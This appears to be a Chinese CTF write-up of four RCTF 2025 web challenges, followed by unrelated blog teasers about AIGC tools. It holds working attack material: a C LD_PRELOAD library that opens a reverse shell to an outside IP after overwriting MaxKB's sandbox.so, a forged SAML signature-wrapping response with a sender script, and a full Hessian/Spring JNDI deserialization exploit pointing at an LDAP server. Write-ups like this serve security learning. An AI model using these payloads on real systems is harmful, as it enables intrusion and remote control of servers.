【Web】RCTF 2025 wp(随便看看

随便看看

目录

photographer

RootKB

Auth

maybe_easy


photographer

看到要求Auth::type()小于0才能拿到flag

而$user['type']是从findById里取出来的

findById是个左联查询,返回的不只是user的信息,还有photo的信息

题目用的是SQLITE3_ASSOC模式,也就是返回以列名索引的数组

这里有个前置知识

而user和photo均有type字段

photo的type字段是从mime-type里取的

先随便注册个用户

访问/compose路由上传背景图片

Content-Type改为-1

设置背景图片

再访问superadmin.php拿到flag

RootKB

题目是最新版的

https://github.com/1Panel-dev/MaxKB/tree/v2

创建工具处可以在线运行python代码

但有些限制

2.3.1版本tool_code.py多了个LD_PRELOAD

可以尝试去覆盖/opt/maxkb-app/sandbox/sandbox.so

只要 LD_PRELOAD 设置了该 .so,init() 就会在程序启动时自动调用。

#include <stdlib.h> #include <string.h> #include <unistd.h> void payload() { unsetenv("LD_PRELOAD"); system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\""); } __attribute__((constructor)) void init() { if (getenv("LD_PRELOAD") != NULL) { payload(); } }
gcc -shared -fPIC -o Z3.so Z3.c

然后覆写

def payload(): import base64 import os base64data="xxxx" data = base64.b64decode(base64data) with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f: f.write(data) return 1

再随便运行个代码

def payload(): print(1)

成功反弹shell

Auth

SSO(Single Sign-On,单点登录)是一种身份验证机制,允许用户使用一组凭据(如用户名和密码)登录一次后,即可访问多个相互信任的应用系统或服务,而无需在每个系统中重复登录。

当用户首次登录时,由一个统一的认证服务器(称为身份提供者,Identity Provider,简称 IdP)验证用户身份,并生成一个安全令牌(如 SAML 断言、OAuth 2.0 Token 或 OpenID Connect ID Token)。之后,用户访问其他受信任的应用(称为服务提供者,Service Provider,SP)时,这些应用会通过该令牌确认用户身份,从而免去再次输入账号密码的过程。

用的是SAML认证

先来看怎么拿flag

sp部分

当session中的email字段为[email protected]才会获得flag

该字段从SAML里解析得来

再来看idp部分

可以用js的parseInt特性绕过对type为0的限制

先注册

正常是只能注册一个regular user,普通用户

将type设为随便一个字符串

成功绕过,拿到一个fullaccess的用户

访问flag路由后返回了samlForm 

存在email字段

接收方是/saml/acs

接下来修改post的SAMLResponse

<?xml version="1.0" encoding="UTF-8"?><samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z" Destination="http://192.168.233.1:26000/saml/acs"><saml:Issuer>http://192.168.233.1</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" Version="2.0" IssueInstant="2025-11-20T11:13:40.594Z"><saml:Issuer>http://192.168.233.1</saml:Issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI="#_934f82968d8e7a26eda0272da9f92ade6175dfc5cd"><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>PPAY1fr+00rDryalemULp6kfp9hzzNUH47Q+w+zjueE=</DigestValue></Reference></SignedInfo><SignatureValue>CZBCZNRGdqwwNTruJ4wRd6J9zf1gRuXaHdR6AKPqxxiIjpGvg1Zc5qaPA3xA1fZYSXAgoL2pAplgTmVJDQzAPT9zbksOUPfWy74QiFbGFegLF0RP/AUrlUl1QamJ084yGxht2a2TAvWA71FTn2xqQ7kORtA9BjXbwJblg9PxP2AJzRRRFx121NGu7mGEiCjVd4qF/QgMSlQzy8sdNE1MhYFAhKq+qAbFQuf1c7xw3/dbVFY39x8VD8LiXCe0rr5s46+cwxXyMVbfhZLqYV3aa+m/hXtUMe0tGMyNdaRZmdeQp4020OBTzgCkXvky30cdS1z4caC+lXoL4IXhtM1+4w==</SignatureValue></Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">[email protected]</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2025-11-20T11:18:40.594Z" Recipient="http://192.168.233.1:26000/saml/acs"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2025-11-20T11:13:40.594Z" NotOnOrAfter="2025-11-20T11:18:40.594Z"><saml:AudienceRestriction><saml:Audience>http://192.168.233.1:26000/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2025-11-20T11:13:40.594Z" SessionIndex="_9e36eb0434011848bc9c34ae86d090eac238fe1c1a"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement><saml:AttributeStatement><saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>2</saml:AttributeValue></saml:Attribute><saml:Attribute Name="username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>Z3r4y</saml:AttributeValue></saml:Attribute><saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>[email protected]</saml:AttributeValue></saml:Attribute><saml:Attribute Name="displayName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute><saml:Attribute Name="department" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue>123</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>

初始为

<samlp:Response>

  <saml:Issuer>...</saml:Issuer>

  <samlp:Status>...</samlp:Status>

  <saml:Assertion> <!-- 原始(带签名) -->

    ...<Signature>...</Signature>...

  </saml:Assertion>

</samlp:Response>

修改后应为

<samlp:Response>

  <saml:Assertion> <!-- 【新插入:伪造、无签名、[email protected]】 -->

    ...(无 Signature)...

  </saml:Assertion>

  <saml:Issuer>...</saml:Issuer>

  <samlp:Status>...</samlp:Status>

  <saml:Assertion> <!-- 原始(保留,仍带有效签名) -->

    ...<Signature>...</Signature>...

  </saml:Assertion>

</samlp:Response>

改了之后发个包就行

import requests # 目标 ACS 地址 acs_url = "http://192.168.233.1:26000/saml/acs" # SAMLResponse 值(Base64 编码的 XML) saml_response = "xxx" # 构造表单数据 data = { "SAMLResponse": saml_response } # 发送 POST 请求 try: response = requests.post(acs_url, data=data) print(f"[+] 状态码: {response.status_code}") print(f"[+] 响应头: {response.headers}") print(f"[+] 响应体预览:\n{response.text[:500]}...") # 打印前500字符 except requests.exceptions.RequestException as e: print(f"[-] 请求失败: {e}")

maybe_easy

一个白名单Hessian反序列化,感觉一眼最后要打JNDI的

参考这个文章

【Web】浅聊Hessian反序列化之打Spring AOP——JNDI

最终应该是调org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()

再往下看

题目自定义了一个Maybe类,重写了compareTo方法

调用handler的invoke方法

之前写过两篇文章

【Web】浅聊Java反序列化之玩转Hessian反序列化的前置知识

【Web】浅聊XStream反序列化之SortedSet&TreeMap利用链

Hessian作为入口其实触发的就是map.put,map.put会触发TreeMap.compareTo,因为白名单的限制,不能用上面文章里的java.beans.EventHandler

找其他白名单里的handler利用

找到ObjectFactoryDelegatingInvocationHandler

参考文章:

【Web】浅聊Java反序列化之Spring1链——三层动态代理

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodName = method.getName(); if (methodName.equals("equals")) { return proxy == args[0]; } else if (methodName.equals("hashCode")) { return System.identityHashCode(proxy); } else if (methodName.equals("toString")) { return this.objectFactory.toString(); } else { try { return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException var6) { throw var6.getTargetException(); } } } }

走到objectFactory.getObject()

白名单里全局搜一下getObject()

搜到ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory.getObject()

调用getBean

再回过头来看

org.springframework.jndi.support.SimpleJndiBeanFactory.lookup()可以被其getBean方法触发

成功走通链子

最终payload:

package com.rctf.server.exp; import com.rctf.server.tool.HessianFactory; import com.rctf.server.tool.Maybe; import org.springframework.jndi.support.SimpleJndiBeanFactory; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.ObjectFactory; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.util.TreeMap; public class exp { public static void main(String[] args) throws Exception { String jndiUrl = "ldap://8.138.38.81:1339/suibian"; // 创建 SimpleJndiBeanFactory 并设置 JNDI URL SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory(); beanFactory.setShareableResources(jndiUrl); // 构造 TargetBeanObjectFactory Class<?> tboFactoryClass = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory"); Constructor<?> tboFactoryConstructor = tboFactoryClass.getDeclaredConstructor(BeanFactory.class, String.class); tboFactoryConstructor.setAccessible(true); ObjectFactory<?> objectFactory = (ObjectFactory<?>) tboFactoryConstructor.newInstance(beanFactory, jndiUrl); // 构造 ObjectFactoryDelegatingInvocationHandler Class<?> ofdihClass = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdihConstructor = ofdihClass.getDeclaredConstructor(ObjectFactory.class); ofdihConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) ofdihConstructor.newInstance(objectFactory); Maybe maybe = new Maybe(handler); TreeMap treeMap = makeTreeMap(maybe, maybe); String serialize = HessianFactory.serialize(treeMap); System.out.println(serialize); HessianFactory.deserialize(serialize); } public static TreeMap makeTreeMap(Object v1, Object v2) throws Exception { TreeMap<Object,Object> m = new TreeMap<>(); setFieldValue(m, "size", 2); setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object node = nodeCons.newInstance(v1, new Object[0], null); Object right = nodeCons.newInstance(v2, new Object[0], node); setFieldValue(node, "right", right); setFieldValue(m, "root", node); return m; } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } }

Read more

AIGC工具助力2D游戏美术全流程

AIGC工具助力2D游戏美术全流程

本文将介绍如何利用国内AIGC工具生成2D游戏开发所需的各种素材,从UI到动画,一站式解决你的游戏美术需求。 为什么选择AIGC生成游戏素材? 传统游戏美术制作需要投入大量时间和资金,而AIGC工具的出现彻底改变了这一局面。它让独立开发者和小团队也能获得高质量美术资源,大幅降低开发门槛和成本。 国内主流AIGC工具推荐 1. 腾讯混元游戏视觉生成平台(腾讯):专为游戏行业打造的工业级AIGC生产引擎,支持文生图、图生图、透明通道图生成,并能根据单张原画智能生成角色多视图及360°展示视频,大幅提升游戏美术资产制作效率 2. Holopix AI(广州市光绘科技有限公司):针对游戏开发者优化的AI生图工具,支持线稿生成、局部重绘、相似图裂变(统一角色风格)、线稿提取及4K高清输出,生成的素材可直接用于Unity/UE引擎。 3. 即梦AI(字节跳动火山引擎/剪映旗下):支持文生图、视频及动态内容生成,内置游戏场景模板(如RPG城镇、MOBA野区),擅长国风场景和2D剧情插画,每日提供免费积分。 4. 可灵AI(快手):核心能力为静态图转动态视频,擅长角色技能演示、场景

从零搭建可落地 Agent:一文吃透 AI 智能体开发全流程

从零搭建可落地 Agent:一文吃透 AI 智能体开发全流程

🎁个人主页:我滴老baby 🎉欢迎大家点赞👍评论📝收藏⭐文章 🔍系列专栏:AI 文章目录: * 【前言】 * 一、先搞懂:2026年爆火的AI Agent,到底是什么? * 1.1 Agent的核心定义 * 1.2 Agent的4大核心能力 * 1.3 2026年Agent的3个热门落地场景 * 二、框架选型:2026年6大主流Agent框架,新手该怎么选? * 三、实战环节:从0到1搭建可落地的“邮件处理Agent”(全程代码+步骤) * 3.1 实战准备:环境搭建(10分钟搞定) * 3.1.1 安装Python环境 * 3.1.2 创建虚拟环境(避免依赖冲突) * 3.1.

新手必看!用Python手把手教你写第一个AI小工具

新手必看!用Python手把手教你写第一个AI小工具

欢迎文末添加好友交流,共同进步! “ 俺はモンキー・D・ルフィ。海贼王になる男だ!” * 📖 写在前面 * 🎯 项目简介:智能PDF文档助手 * 功能特性 * 项目亮点 * 🛠️ 环境准备 * 2.1 Python环境检查 * 2.2 安装依赖库 * 2.3 获取OpenAI API Key * 📝 项目结构设计 * 💻 核心代码实现 * 3.1 配置文件 (config.py) * 3.2 PDF读取模块 (pdf_reader.py) * 3.3 AI客户端模块 (ai_client.py) * 3.4 主程序入口 (main.py) * 📊 项目功能流程图 * 🎯 使用示例 * 4.

【GitHub项目推荐--CopilotKit:AI Copilot前端开发框架】

简介 CopilotKit是一个开源的前端AI助手开发框架,专门为构建AI Copilot、聊天机器人和应用内AI代理提供React UI组件和优雅的基础设施。该项目采用现代化的前端技术栈,旨在简化和加速AI功能的集成过程,让开发者能够快速在应用中添加智能交互能力。CopilotKit框架设计注重开发体验和性能优化,支持从简单聊天界面到复杂AI代理的各种应用场景。 核心价值: * 开发效率:分钟级集成AI功能,大幅缩短开发周期 * 框架无关:支持React、Next.js、AGUI等多种前端框架 * 生产就绪:提供企业级UI组件,内置安全防护机制 * 高度可定制:支持从底层API到UI组件的全方位定制 技术定位:CopilotKit填补了AI后端能力与前端用户体验之间的空白。通过提供标准化的组件和API,它让前端开发者能够轻松集成复杂的AI功能,而无需深入了解底层AI技术细节。其模块化架构平衡了开箱即用的便利性和深度定制的灵活性。 主要功能 1. 现代化React UI组件 提供完整的Copilot侧边栏组件,支持深度样式定制。可配置的聊天界面,适应不同应用场景